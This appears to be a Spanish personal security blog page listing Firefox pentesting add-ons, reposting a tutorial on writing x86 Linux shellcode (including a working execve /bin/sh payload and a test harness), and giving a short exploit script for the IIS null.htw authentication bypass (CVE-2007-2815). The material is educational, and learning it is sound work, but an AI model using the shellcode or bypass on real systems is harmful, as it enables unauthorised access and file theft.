Mi límite entre lo monótono y la aventura...

Banner 468

Inicio
RSS

Mis Addons Preferidos de Firefox

Comparto con Uds. los addons que más utilizo en Firefox.  Las descripciones las tienen dentro de cada link, así como la opción de descarga.






Addons de Seguridad iT y Pentest

Passive REcon
https://addons.mozilla.org/mn/firefox/addon/passiverecon/

FoxyProxy
http://support.microsoft.com/kb/2505743

Https Everywhere
https://www.eff.org/https-everywhere

SQL Inject Me
https://addons.mozilla.org/en-us/firefox/addon/sql-inject-me/

Access Me
https://addons.mozilla.org/mn/firefox/addon/access-me/

Xss Me
https://addons.mozilla.org/en-us/firefox/addon/xss-me/

Add N Edit Cookies
https://addons.mozilla.org/en-us/firefox/addon/add-n-edit-cookies-13793/

Add & Edit Cookies +
https://addons.mozilla.org/en-us/firefox/addon/add-n-edit-cookies-92079/

Live Http Headers
https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/

Network toosl (Router Status)
http://www.brothersoft.com/router-status-216375.html

Wot

https://addons.mozilla.org/es-ES/firefox/addon/wot-safe-browsing-tool/

Active Whois
https://addons.mozilla.org/es-ES/firefox/addon/active-whois-plugin-for-firefo/

WebDeveloper
https://addons.mozilla.org/es-ES/firefox/addon/web-developer/

User Agent Switcher
https://addons.mozilla.org/mn/firefox/addon/user-agent-switcher/

HackBar
https://addons.mozilla.org/mn/firefox/addon/hackbar/

FireCookie
https://addons.mozilla.org/mn/firefox/addon/firecookie

Tamper Data
https://addons.mozilla.org/mn/firefox/addon/tamper-data/

TorButton
https://addons.mozilla.org/mn/firefox/addon/torbutton

NoScript
https://addons.mozilla.org/en-us/firefox/addon/noscript/





Utilitarios Varios - (No de seguridad)

Adblock Plus
https://addons.mozilla.org/es-ES/firefox/addon/adblock-plus/

CoolPreviews
https://addons.mozilla.org/es-ES/firefox/addon/coolpreviews/

TooManyTabs
https://addons.mozilla.org/en-us/firefox/addon/toomanytabs-saves-your-memory/

Picnik
https://addons.mozilla.org/es-ES/firefox/addon/picnik/

Pixlr Grabber
https://addons.mozilla.org/es-ES/firefox/addon/pixlr-grabber/

Image Zoom
https://addons.mozilla.org/es-ES/firefox/addon/image-zoom/

Flash Got
https://addons.mozilla.org/es-ES/firefox/addon/flashgot/

DownThemAll
https://addons.mozilla.org/es-ES/firefox/addon/downthemall/

Download Status Bar
https://addons.mozilla.org/es-ES/firefox/addon/download-statusbar/

ColorZilla
https://addons.mozilla.org/es-ES/firefox/addon/colorzilla/

Febe (Backup Firefox extensions)
https://addons.mozilla.org/mn/firefox/addon/febe/

Reminder Fox
https://addons.mozilla.org/mn/firefox/addon/reminderfox

Capture Fox
https://addons.mozilla.org/mn/firefox/addon/capture-fox/


[ Leer más ]

Que es una ShellCode?

Encontre este excelente artículo cuando investigaba sobre xss.  Muy bien explicado, lo que lo hace más que entendible para cualquiera relacionado al tema.
Las fuentes como corresponde al final del mismo...
 

Que significa shellcode?
Primero necesitamos saber el significado etimologico de shellcode.
Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.
Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.

Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).

Como creamos una shellcode?
Generalmente se hacen en lenguaje ASM (assembler) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).
Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.
Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.
Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).


Código
Code (asm):
BITS 32 exit: xor ebx,ebx ;ponemos 0 como argumento de exit xor eax,eax ;limpiamos eax y ebx mov al,0x01 ;ponemos 1 en eax (es el codigo de la syscall exit) int 0x80 ;finalmente llamamos a la interrupcion  
Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:

00000000  31DB            xor ebx,ebx
00000002  31C0            xor eax,eax
00000004  B001              mov al,0x1
00000006  CD80              int 0x80


Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:

Código
Code (python):
#!/usr/bin/python from binascii import * import sys   files = {} length = []   def write(string): sys.stdout.write(string)   def process_file(file): source = open(file,"rb") write("char shellcode[]=\n\t\t") i = 1 l = 0 write("\"") for data in source.read(): write("\\x") write(b2a_hex(data)) if (i % 15)==0: write("\"\n\t\t\"") i+=1 l+=1 files[file[0:-4]]= l write("\";\n\n") source.close()   print("HDL Shellcode Lab - Bin to C") if(len(sys.argv)<2): exit(0) process_file(sys.argv[1])  
Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:


Código
Code (c):
char shellcode[]= "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";  

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:


Código
Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode int main (int argc, char *argv[]) {  int (*run)();   //puntero a una funcion  run = shellcode; //asignamos la direccion de la shellcode al puntero  run();  // y la ejecutamos }  
Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.

Una shellcode mas compleja
Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.


Código
Code (asm):
BITS 32        xor  eax,eax        push eax        push dword 0x68732f6e ;ponemos a /bin/sh en la pila                          push dword 0x69622f2f        mov  ebx,esp     ;y le damos la direccion de /bin/sh a ebx       xor  edx,edx        push edx ;ponemos el resto de los argumentos en la pila          push ebx        mov ecx,esp        mov al,0x0b ;llamamos a la syscall 0x0b (execve)                    int 0x80  
Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:


Código
Code (c):
char shellcode[]= "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";  
Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre  bad chars )
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Fuente: HDLC
[ Leer más ]

Haciendo pentest sobre un Webserver di con un viejo problema el cual desconocía, con lo cual procedo a dejarme documentado en este post la info para explotar el problema.

Microsoft IIS ntlm and basic auth bypass
You can protect your web contents by adding ntfs acls, then you will be secure.
But you can protect your web contents by the Internet Information basic/ntlm autentication, then this will be bypassed with null.htw object.

Both authentications seem be the same, but really the object null.htw let users get any file in web directory, only if it is protected by the filesystem, will be secure.

In the exploit you can see how to use the null.htw object.

Código:


#!/bin/sh
#
# NTLM && BASIC AUTH BYPASS :)
#
# sha0[at]badchecksum.net
# Based on my adv: http://www.securityfocus.com/bid/24105/info
# (CVE-2007-2815)

if [ $# != 2 ]
then
printf "USAGE:\t\t$0 \nExample:\t$0 http://www.microsoft.com /en/us/default.aspx\n\n";
exit 0
fi

site=$1
protectedObject=$2
variabledatos=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&
CiRestriction=b&CiHiliteType=full'
lynx -dump $variabledatos



Fuente; badchecksum.net
[ Leer más ]